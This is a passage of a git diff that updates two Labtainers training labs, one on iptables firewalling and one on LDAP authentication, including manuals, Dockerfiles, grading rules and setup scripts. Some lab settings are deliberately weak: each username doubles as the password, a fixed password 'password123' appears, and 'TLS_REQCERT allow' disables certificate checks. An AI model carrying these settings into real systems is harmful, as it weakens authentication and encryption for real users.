b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/keywords.txt new file mode 100644 index 000000000..3c9d1a021 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/keywords.txt @@ -0,0 +1,3 @@ +iptables +packet filter +firewall diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config index a42bd959b..737e14ef2 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/config/parameter.config @@ -2,4 +2,4 @@ # # Please see the Labtainer Designer Lab Designer User Guide # -WIZ_PORT : RAND_REPLACE : server:server;client:wizbang : WIZ_PORT : 10003 : 10090 +WIZ_PORT : RAND_REPLACE : server:server;client:wizbang;client:.local/bin/prestop : WIZ_PORT : 10003 : 10090 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student index 850a25c0e..f80c19360 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.client.student @@ -9,7 +9,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 ARG lab ARG labdir ARG imagedir diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student index e479e57d3..bde2015c4 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.firewall.student @@ -9,13 +9,15 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.wireshark +FROM $registry/labtainer.wireshark2 ARG lab ARG labdir ARG imagedir ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh ARG user_name -RUN apt-get update && apt-get install -y --no-install-recommends ulogd +RUN apt-get update && apt-get install -y --no-install-recommends ulogd2 ADD $labdir/sys_$lab.tar.gz / RUN useradd -ms /bin/bash $user_name RUN echo "$user_name:$user_name" | chpasswd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student index 4006cf04b..b1e26fef0 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/dockerfiles/Dockerfile.iptables2.server.student @@ -9,7 +9,7 @@ # openssl openssh-server openvpn wget tcpdump update-inetd xinetd # ARG registry -FROM $registry/labtainer.network +FROM $registry/labtainer.network.ssh2 ARG lab ARG labdir ARG imagedir diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile index aabadc7fb..8ff2b10bf 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/Makefile @@ -1,5 +1,6 @@ iptables.pdf: iptables.tex header.tex pdflatex iptables + pdflatex iptables clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out deleted file mode 100644 index 69df178d2..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.out +++ /dev/null @@ -1,8 +0,0 @@ -\BOOKMARK [1][-]{section.1}{Overview}{}% 1 -\BOOKMARK [2][-]{subsection.1.1}{Background}{section.1}% 2 -\BOOKMARK [1][-]{section.2}{Lab Environment}{}% 3 -\BOOKMARK [1][-]{section.3}{Lab Tasks}{}% 4 -\BOOKMARK [2][-]{subsection.3.1}{Explore}{section.3}% 5 -\BOOKMARK [2][-]{subsection.3.2}{Use iptables to limit traffic}{section.3}% 6 -\BOOKMARK [2][-]{subsection.3.3}{Open new service port}{section.3}% 7 -\BOOKMARK [1][-]{section.4}{Submission}{}% 8 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.pdf index 600d60c38..64b576b3f 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex index 4b8004046..6c8892e00 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/docs/iptables.tex @@ -42,7 +42,7 @@ the wireshark-intro lab. \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. @@ -63,8 +63,15 @@ From your labtainer-student directory start the lab using: \end{figure} \section{Lab Tasks} +\subsection{Prep quiz} +Take a quick quiz to confirm you are prepared to perform the lab. +At the terminal from which you started the lab, type: +\begin{verbatim} + quiz +\end{verbatim} \subsection{Explore} -The Wireshark utility is installed on the firewall. +\begin{itemize} +\item The Wireshark utility is installed on the firewall. Use it to view network traffic through the firewall, and to debug your firewall rules. Start it from the firewall terminal: \begin{verbatim} @@ -72,30 +79,30 @@ wireshark & \end{verbatim} \noindent Then select the eth0 interface. -On the client terminal use the nmap utility +\item On the client terminal use the nmap utility to list (some of the) open ports on the server: \begin{verbatim} nmap server \end{verbatim} -\noindent -\noindent Use wget to confirm that the server response to HTTP requests: +\item Use wget to confirm that the server response to HTTP requests: \begin{verbatim} wget server & \end{verbatim} -\noindent Confirm an ssh service if offered -- you need not login when prompted, +\item Confirm an ssh service if offered -- you need not login when prompted, just use {\tt ctrl C} to exit once you get a response from the server. \begin{verbatim} ssh server \end{verbatim} -\noindent Finally, confirm that telnet is offered (again, no need to login): +\item Finally, confirm that telnet is offered (again, no need to login): \begin{verbatim} telnet server \end{verbatim} -\noindent Observe the traffic in wireshark, making note the +\item Observe the traffic in wireshark, making note the source IP addresses and the destination ports used by the clients when connecting to the server +\end{itemize} \subsection{Use iptables to limit traffic} The iptables utility is installed on the ``firewall'' component. @@ -144,6 +151,10 @@ Also, again use nmap to confirm the proper configuration nmap server \end{verbatim} +\subsection{Check your work} +Use the {\tt checkwork} command from the terminal you used to start the lab. This will +provide feedback indicating whether you have achieved the goals of the lab. + \section{Submission} After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: \begin{verbatim} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh index c614bf927..6c7d97734 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_bin/fixlocal.sh @@ -4,4 +4,4 @@ # use this to compile source code that has been parameterized. # sudo sed -i s!/var/log/ulog/syslogemu.log!/var/log/iptables.log! /etc/ulogd.conf -sudo systemctl restart ulogd +sudo systemctl restart ulogd2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init deleted file mode 100755 index 73b18865f..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/firewall/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config index f7e3d50a5..b23ceb238 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/goals.config @@ -4,18 +4,14 @@ # # results of nmap should show ssh & http, but not telnet # -# was each port open? -_ssh_tmp = matchany : string_equal : ssh_open : answer=open -_http_tmp = matchany : string_equal : http_open : answer=open -_telnet_tmp = matchany : string_equal : telnet_open : answer=open # group results into time ranges delimited by iptables commands -_ssh = time_during : _ssh_tmp : iptables -_http = time_during : _http_tmp : iptables -_telnet = time_during : _telnet_tmp : iptables +_ssh = time_during : _ssh_open : iptables +_http = time_during : _http_open : iptables +_telnet = time_during : _telnet_open : iptables _wizbang = time_during : _wizbang_tmp : iptables -# DOC: ssh & http telnet closed +# DOC: ssh & http were open, and telnet was closed first_ports_ok = boolean : ( _ssh and _http and_not _telnet ) # DOC: ssh & http and wizbang were open, telnet closed second_ports_ok = boolean : ( _ssh and _http and _wizbang and_not _telnet ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config index a987a8656..f715f9e0c 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/instr_config/results.config @@ -5,9 +5,20 @@ # nmap results, note which ports are open # # results of nmap scans -ssh_open = client:nmap.stdout : 2 : STARTSWITH : 22/tcp -http_open = client:nmap.stdout : 2 : STARTSWITH : 80/tcp -telnet_open = client:nmap.stdout : 2 : STARTSWITH : 23/tcp +_ssh_open = client:nmap.stdout : FILE_REGEX : 22/tcp.*open +_http_open = client:nmap.stdout : FILE_REGEX : 80/tcp.*open +_telnet_open = client:nmap.stdout : FILE_REGEX : 23/tcp.*open _wizbang_tmp = client:wizbang.stdout : CONTAINS : Sending instruction # time brackets delimited by consequential invocations of iptables iptables = firewall:iptables : TIME_DELIM + +# checkwork feedback +#CHECK_TRUE: The SSH port is not open. +cw_ssh_open = client:prestop.stdout : FILE_REGEX : 22/tcp.*open +#CHECK_TRUE: The HTTP port is not open. +cw_http_open = client:prestop.stdout : FILE_REGEX : 80/tcp.*open +#CHECK_FALSE: The telnet port is open. It is supposed to be closed. +cw_telnet_open = client:prestop.stdout : FILE_REGEX : 23/tcp.*open +#CHECK_TRUE: The wizbang port is not open. +cw_wizbang_tmp = client:prestop.stdout : FILE_REGEX : ^(?!.*22|80).*.open + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init deleted file mode 100755 index d585dd5d8..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/sbin/faux_init +++ /dev/null @@ -1,21 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exists -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done -service rsyslog start -service rc.local start - - -/etc/init.d/httpserver.sh start -service xinetd restart - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/usr/lib/systemd/system/httpserver.service similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/httpserver.service rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/usr/lib/systemd/system/httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/wizbang.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/usr/lib/systemd/system/wizbang.service similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/lib/systemd/system/wizbang.service rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/iptables2/server/_system/usr/lib/systemd/system/wizbang.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/kali-test/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/keywords.txt new file mode 100644 index 000000000..af7d26de8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/keywords.txt @@ -0,0 +1,2 @@ +authentication +ldap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config index 7f71e470c..8b1378917 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/parameter.config @@ -1,5 +1 @@ -# parameter.config -# -# Please see the Labtainer Designer Lab Designer User Guide -# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config index bbdba00eb..82f9e7cd7 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/config/start.config @@ -1,65 +1,29 @@ -# Filename : start.config -# Description: -# Establish the names of lab containers and some of their properties, including: -# User names -# Network connections -# trasfer directory -# lab master seed -# -# Typically, labs consisting of a single container can use the file without modification. -# Refer to the "Labtainer Lab Designer User Guide" for details. - -GLOBAL_SETTINGS - # GRADE_CONTAINER - container where instructor will perform grading - # Change the default to the name of one of your containers, otherwise - # a container will be picked for you. - GRADE_CONTAINER ldap - - # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME - HOST_HOME_XFER seed_dir/ - - # LAB_MASTER_SEED - this is the master seed string specific to this laboratory - LAB_MASTER_SEED ldap_mike_master_seed - - # Uncomment the following to cause the content of the lab/docs directory - # to be collected and included in the student artifacts. - # COLLECT_DOCS YES - -# SUBNETS. Here is where you define subnets that will be available to the containers. -# Each subnet is assiged a name, a mask and gateway, as in the following example: -# -NETWORK LAN + GLOBAL_SETTINGS + GRADE_CONTAINER ldap + HOST_HOME_XFER seed_dir/ + LAB_MASTER_SEED ldap_mike_master_seed +NETWORK LAN MASK 172.25.0.0/24 GATEWAY 172.25.0.101 -# -# Container name and settings. Here is where you define each container in terms of its name, -# user, number of virtual terminals, and its network connections. -# CONTAINER ldap - USER admin - SCRIPT NONE - LAN 172.25.0.2 - X11 YES - ADD-HOST LAN - + USER admin + X11 YES + ADD-HOST LAN + LAN 172.25.0.2 CONTAINER client - USER mike - LAN 172.25.0.3 - X11 YES - ADD-HOST LAN - + USER mike + X11 YES + ADD-HOST LAN + LAN 172.25.0.3 CONTAINER server1 - USER admin - LAN 172.25.0.4 - SCRIPT NONE - X11 YES - ADD-HOST LAN - TERMINALS 0 - + USER admin + X11 YES + TERMINAL_GROUP servers + ADD-HOST LAN + LAN 172.25.0.4 CONTAINER server2 - USER admin - LAN 172.25.0.5 - SCRIPT NONE - X11 YES - ADD-HOST LAN - TERMINALS 0 + USER admin + X11 YES + TERMINAL_GROUP servers + ADD-HOST LAN + LAN 172.25.0.5 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student index ccd976748..0129738f8 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.ldap.student @@ -14,7 +14,7 @@ ARG registry #FROM $registry/labtainer.base #FROM $registry/labtainer.network -FROM $registry/labtainer.wireshark +FROM $registry/labtainer.wireshark2 #FROM $registry/labtainer.lamp # # lab is the fully qualified image name, e.g., mylab.some_container.student diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student index 05ddbd6a5..5716733b3 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server1.student @@ -13,7 +13,7 @@ # ARG registry #FROM $registry/labtainer.base -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 #FROM $registry/labtainer.centos #FROM $registry/labtainer.lamp # diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student index 05ddbd6a5..5716733b3 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/dockerfiles/Dockerfile.ldap.server2.student @@ -13,7 +13,7 @@ # ARG registry #FROM $registry/labtainer.base -FROM $registry/labtainer.network +FROM $registry/labtainer.network2 #FROM $registry/labtainer.centos #FROM $registry/labtainer.lamp # diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile index 03b452468..734229c22 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/Makefile @@ -1,5 +1,6 @@ ldap.pdf: ldap.tex header.tex pdflatex -jobname=ldap ldap + pdflatex -jobname=ldap ldap clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.pdf index 39c16e774..432868a94 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex index 27666d734..335a14fb8 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/docs/ldap.tex @@ -16,7 +16,8 @@ to manage a single set of credentials that can then be used to access multiple c \subsection {Background} The student is expect to have separately learned about the basic elements of Linux -users, groups and authentication, e.g., the /etc/passwd and /etc/shadow files. +users, groups and authentication, e.g., the /etc/passwd and /etc/shadow files. +For example, see the {\tt users} lab. The student is also expected to have a basic knowledge of the use of Lightweight Directory Access Protocol (LDAP). @@ -26,7 +27,7 @@ experience with the Wireshark tool is expected (e.g., the wireshark-intro lab). \section{Lab Environment} This lab runs in the Labtainer framework, -available at http://my.nps.edu/web/c3o/labtainers. +available at http://nps.edu/web/c3o/labtainers. That site includes links to a pre-built virtual machine that has Labtainers installed, however Labtainers can be run on any Linux host that supports Docker containers. @@ -42,7 +43,8 @@ From your labtainer-student directory start the lab using: This lab includes a client computer, two servers and an ldap server shown in Figure~\ref{fig:topology}. When the lab starts, you will get one virtual terminal connected -to the client, and one connected to the ldap server. +to the client, and one connected to the ldap server. You will also +get terminals connected to the two servers. The host names of each component are per the diagram. The /etc/hosts files allow use of these host names instead of explicit ip addresses. @@ -91,8 +93,11 @@ for your user or group? Go to the wireshark window, and stop capturing packets (e.g., the red stop button). Enter a display filter of ``ldap'', i.e., near the top where it says "Apply a display filter...". Review the LDAP traffic. Which components are exchanging packets? Locate the packet that changed -mike's password and use {\tt File / Export Specified Packets} to save that packet in a file named -{\tt password.pcapng} +mike's password and use +\begin{verbatim} + File / Export Specified Packets +\end{verbatim} +\noindent to save that packet in a file named {\tt password.pcapng} \subsection{Use the mike credentials to access another server} Exit your ssh session from server1. Then ssh to server2: @@ -115,7 +120,8 @@ LDAP addition is to be made. Use {\tt man ldapadd} to learn more about the synt that command. The initial password for the mike user was created with this command: \begin{verbatim} -ldappasswd -s password123 -W -D "cn=admin,dc=example,dc=com" -x "uid=mike,ou=users,dc=example,dc=com" +ldappasswd -s password123 -W -D "cn=admin,dc=example,dc=com" \ + -x "uid=mike,ou=users,dc=example,dc=com" \end{verbatim} Create ldif files to define a new group named ``qa'' and a new user having an ID of ``mary''. @@ -125,6 +131,47 @@ assign an initial password to mary. Again, the password for the LDAP administra Then go to the client computer and test your ability to ssh as mary to both server1 and server2. +\subsection{Encrypt LDAP traffic} +Go back to the Wireshark window and set the packet display filter to {\tt ldap.bindRequest\_element}. +Explore the protocol elements of one of the bind requests using Wireshark. See anything alarming? +User passwords are transmitted in plain text! + +Restart the Wireshark capturing, i.e., press the leftmost sharkfin button and clear the filter.. + +The LDAP server has a self-signed PKI certificate and has been configured to accept encrypted SSL traffic as well as the unencrypted +traffic that you've observed. We did not encrypt the traffic to start with so that you could see +the protocol. You will now configure the LDAP clients (i.e., the two servers) to communicate with +LDAP via SSL. + +The mechanisms for causing an LDAP client to use SSL (or TLS) varies by LDAP product and Linux distibution. For these Ubuntu servers +do the following: + +\begin{itemize} +\item Edit the {\tt /etc/ldap.conf} file and change the following line: +\begin{verbatim} + uri ldap://ldap +\end{verbatim} +\noindent to +\begin{verbatim} + uri ldaps://ldap +\end{verbatim} +\noindent and remove the comment from the line: +\begin{verbatim} + #ssl on +\end{verbatim} +\noindent so that it is: +\begin{verbatim} + ssl on +\end{verbatim} +\item Then edit the {\tt /etc/ldap/ldap.conf} file (\textbf{note} the different directory!) and add this line at the end: +\begin{verbatim} + TLS_REQCERT allow +\end{verbatim} + +\end{itemize} +No login to one of the servers from the client and observe the LDAP traffic in Wireshark. + + \section{Submission} After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: \begin{verbatim} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config index ccc8f7b51..de48122d1 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/goals.config @@ -2,6 +2,6 @@ # # Please see the Labtainer Lab Designer User Guide -_pcap_small = matchany : integer_lessthan : pcap_strings : answer=10 -#DOC: strings extracted from pcap < 10 lines and userPassword in strings +_pcap_small = matchany : integer_lessthan : pcap_strings : answer=20 +#DOC: strings extracted from pcap < 15 lines and userPassword in strings correct_pcap = boolean : (_pcap_small and _pcap_pass) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt deleted file mode 100644 index 667cd20ad..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/instr_config/instructions.txt +++ /dev/null @@ -1 +0,0 @@ -Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh index 75aca25a3..452c2f420 100755 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_bin/fixlocal.sh @@ -16,4 +16,7 @@ echo "BASE dc=example,dc=com" | sudo tee -a /etc/ldap/ldap.conf echo "URI ldap://localhost" | sudo tee -a /etc/ldap/ldap.conf sudo /var/tmp/configure.sh sudo systemctl restart slapd -sudo /var/tmp/addusers.sh +/var/tmp/addusers.sh +sudo systemctl restart slapd +cd /var/tmp +sudo ./enable-ssl.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init deleted file mode 100755 index 7ce7d3c88..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/sbin/faux_init +++ /dev/null @@ -1,19 +0,0 @@ -# -# Simulate the linux init process for Labtainers -# This will start system logging and will run rc.local -# Add any other system services here, e.g., starting xinetd -# - -# Check the existent of permanent 'did_param' lock directory -# Sleep until exist -PERMLOCKDIR=/var/labtainer/did_param -while [ ! -d "$PERMLOCKDIR" ] -do - sleep 2 -done - -# PUT any daemon start (that need parameterization after while loop) -/usr/sbin/rsyslogd -n & -service rc.local start -/etc/init.d/mynotify.sh start - diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/enable-ssl.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/enable-ssl.sh new file mode 100755 index 000000000..25a853984 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/enable-ssl.sh @@ -0,0 +1,7 @@ +# +# Create self signed cert and enable SSL +# +./selfsign.sh +sed -i 's%^SLAPD_SERVICES.*$%SLAPD_SERVICES="ldapi:/// ldap:/// ldaps:///"%' /etc/default/slapd +systemctl restart slapd + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/selfsign.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/selfsign.sh new file mode 100755 index 000000000..f6e98f00c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/selfsign.sh @@ -0,0 +1,17 @@ +#!/bin/bash +# +# Create a self-signed cert for use with SSL +# +cdir=/etc/ldap/certs +mkdir -p $cdir +openssl req -new -x509 -nodes -out $cdir/exampleldap.crt -keyout $cdir/exampleldap.key -days 1460 -subj "/C=US/ST=Solid/L=Here/O=Example/CN=ldap" +chown -R openldap:openldap $cdir/example* +# +# OpenLDAP has a need to fail, which it will do on the first +# ldapmodify. Folks on the web think order of key/cert matters, but it seems +# to be a matter of failing the first and then doing the other, then repeat +# the first. +# +ldapmodify -Y EXTERNAL -H ldapi:/// -f xcert.ldif +ldapmodify -Y EXTERNAL -H ldapi:/// -f xkey.ldif +ldapmodify -Y EXTERNAL -H ldapi:/// -f xcert.ldif diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xcert.ldif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xcert.ldif new file mode 100644 index 000000000..b38eed6c7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xcert.ldif @@ -0,0 +1,4 @@ +dn: cn=config +changetype: modify +replace: olcTLSCertificateFile +olcTLSCertificateFile: /etc/ldap/certs/exampleldap.crt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/ldap/_system/var/tmp/xkey.ldif 